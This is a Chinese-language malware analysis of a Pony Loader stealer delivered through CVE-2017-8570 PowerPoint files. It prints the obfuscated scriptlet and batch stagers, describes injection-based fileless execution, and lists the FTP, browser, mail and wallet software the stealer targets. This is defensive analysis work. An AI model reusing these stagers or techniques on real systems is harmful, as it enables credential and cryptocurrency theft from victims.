前言
自从Pony Loader源码在论坛出售,便大规模用于窃取用户隐私数据。钓鱼攻击为最常用的手法,核心代码不断改变、投递方式也因攻击者不同而变化。这里我们分析一个通过漏洞CVE-2017-8570运行并使核心窃密恶意代码无文件落地执行的较新型样本。
一、 投递部分
CVE-2017-8570漏洞为Microsoft Office的一个远程代码执行漏洞。因为Microsoft PowerPoint执行时会初始化Script”Moniker对象,并在PowerPoint播放动画期间会激活该对象,导致执行sct脚本(Windows Script Component)文件。攻击者可以通过欺骗用户运行含有CVE-2017-8570漏洞的PPT文件分发恶意程序。
1.1分析漏洞文档
使用rtfobj.py拆解取出文档中的对象(图中的后缀名为已修改内容),可以看到文档包含sct脚本文件和许多可执行文件,猜测逻辑上是接力执行关系。
根据该漏洞的描述,最先执行的是sct脚本文件;如果文档包涵多个sct文件时,可通过分析sct文件或查看bin对象确认启动顺序和路径;该bin文件二进制内容显示,首先执行的是临时文件下的a.sct样本(不区分大小写)。
1.样本a.sct的主要内容是运行样本ufFm.cmd,具体内容如下:
<script>
<![CDATA[
function tbpofmq(hello)
{
_ActiveXObj = this['Act'+'iveXO'+'bject'];
var nnqybb='ell';
var unzhb='t.';
var yybfex='rip';
var unzznjf='WSc';
var yubz='Sh';
var shdkqn = new _ActiveXObj(unzznjf + yybfex + unzhb + yubz + nnqybb);
shdkqn["Run"](hello, 0, 1);
}
var opznjaf='"';
var unzk18="MD" + opznjaf;
var mqiojnj3="C";
var rtqnooznn5 ="m";
var oonnzzh4="<";
var nqyznfhw0=mqiojnj3+"mD ";
var iqmzghsl= nqyznfhw0 + "/" + mqiojnj3 + " " + nqyznfhw0 + oonnzzh4 + " " + opznjaf + "%Te" + rtqnooznn5 + "P%\ufFm.c" + unzk18;
tbpofmq(iqmzghsl);]]>
</script>
2.样本ufFm.cmd的主要功能是启动itnqknf5.CMD:
ECHO OFF
set uninmqofhjs="%uSeRpRofilE%"
set ntzyqjpa="appDataloCalTeMpblOCk.tXt"
IF EXIST %uninmqofhjs%%ntzyqjpa% (exit) ELSE (copy NUL %uninmqofhjs%%ntzyqjpa% & cd %temp% & START /b itnqknf5.CMD)
3.样本itnqknf5.CMD的主要功能为:通过修改注册表改变word的安全设置选项;启动与之前名称相同的文档迷惑受害者;解压1.zip压缩包并启动压缩包中的saver.scr程序;最后删除之前的样本文件。具体代码如下:
执行到这里,这一阶段的样本执行已经结束。通过以上内容成功执行了最后一层样本并开启了迷惑受害者选项。接下来分析的是最后启动的恶意安装程序。
1.2分析安装程序
通过分析发现这是一个使用NSIS制作的安装程序,即代码的核心功能由NSIS制作运行,能够起到了一定的免杀和混淆作用。所有使用该种方式运行的恶意代码其最开始的运行逻辑是相同的,类似于一个“壳”。
我们将该文件解压发现共有两个文件夹,一个为NSIS运行时依赖的组件(白文件):
另一个为恶意DLL和一个加密文件:
从上图中得知主要运行的恶意代码存放在matchbooks.dll和Spelaeology中,但是要从NSIS程序开始调试,从而查找恶意代码是如何启动的。
1.2.1恶意代码无文件落地部分
调试得到核心代码地址位于00403c05:
首先调用是放在临时文件下的system.dll(白文件):
从system.dll中调用matchbooks.dll的kramnik导出函数:
Kramnik函数接下来调用load4导出函数,用来执行进程注入行为将恶意代码注入到新建的进程中躲避杀软的检测:
加载临时文件夹下的Spelaeology进行解密操作:
创建同名进程saver.scr:
将解密后的可执行文件写入申请的内存空间:
启动注入进程:
执行到此已经将恶意代码成功的无文件落地执行,接下来的内容将在内存中运行使得杀软难以检测。
二、窃密部分
接下来执行的恶意代码为Pony Loader,是俄罗斯开发的窃密木马(参考资料https://github.com/m0n0ph1/malware-1/tree/master/Pony)。
首先通过读取注册表获得受害机的基本信息,用户名、应用程序列表等:
然后出现了一个有意思的字符串,攻击者使用“Mesoamerica”(解密字符串“Oguqcogtkec”得到)作为控制延迟的参数:
之后在内存中解密出密码字典用于之后的用户登录,将所有的字符进行“减1”操作得到字典:
解密得到的结果如下:
接下来窃取FTP登陆凭证、浏览器登陆信息、邮件登陆信息、虚拟货币钱包等:
1.窃取FTP软件等登陆凭证,包括以下软件:
- FARManager
- Total Commander
- WS_FTP
- CuteFTP
- FlashFXP
- FileZilla
- FTP Commander
- BulletProof FTP
- SmartFTP
- TurboFTP
- FFFTP
- CoffeeCup FTP
- CoreFTP
- FTP Explorer
- Frigate3 FTP
- SecureFX
- UltraFXP
- FTPRush
- WebSitePublisher
- BitKinex
- ExpanDrive
- ClassicFTP
- Fling
- SoftX
- Directory Opus
- FreeFTP
- DirectFTP (определяется как FreeFTP)
- LeapFTP
- WinSCP
- 32bit FTP
- NetDrive
- WebDrive
- FTP Control
- Opera
- WiseFTP
- FTP Voyager
- Firefox
- FireFTP
- SeaMonkey
- Flock
- Mozilla Suite Browser
- LeechFTP
- Odin Secure FTP Expert
- WinFTP
- FTP Surfer
- FTPGetter
- ALFTP
- Internet Explorer
- Dreamweaver
- DeluxeFTP
- Google Chrome
- Chromium
- SRWare Iron (определяется как Chromium)
- ChromePlus
- Bromium (Yandex Chrome)
- Nichrome
- Comodo Dragon
- RockMelt
- K-Meleon
- Epic
- Staff-FTP
- AceFTP
- Global Downloader
- FreshFTP
- BlazeFTP
- NETFile
- GoFTP
- 3D-FTP
- Easy FTP
- Xftp
- FTP Now
- Robo-FTP
- LinasFTP
- Cyberduck
- Putty
- Notepad++ (NppFTP)
- CoffeeCup Visual Site Designer
- CoffeeCup Sitemapper (определяется как CoffeeCup FTP)
- FTPShell
- FTPInfo
- NexusFile
- FastStone Browser
- CoolNovo
- WinZip
- Yandex.Internet
- MyFTP
- sherrod FTP
- NovaFTP
- Windows Mail
- Windows Live Mail
- Pocomail
- Becky!
- IncrediMail
- The Bat!
- Outlook
- Thunderbird
- FastTrackFTP
- Я.Браузер
- Electrum
- MultiBit
FTP Disk
2.窃取火狐、opera、谷歌等浏览器中的登陆凭证
3.窃取邮件信息
4.窃取多种虚拟货币
将窃取的登陆凭证回传到C2:
使用之前解密出的硬编码字典测试受害机用户密码:
最后创建bat文件进行删除操作,擦除痕迹:
三、总结
由于恶意代码重复利用简单、成本低廉,导致窃密等攻击成本降低,从而使得网络攻击行为更加密集、手段更加成熟。纵观该样本的攻击方式:整个过程一气呵成,偷完就跑;在每一个阶段都会更改或读取用户设置并在执行完恶意代码后删除相应样本防止被检测发现。除此之外,还将最终恶意代码隐藏在内存中运行躲避检测。
在此提醒大家:养成良好的计算机使用习惯,防止躲避手段高明的恶意代码在个人PC执行给大家造成隐私、财产损失等。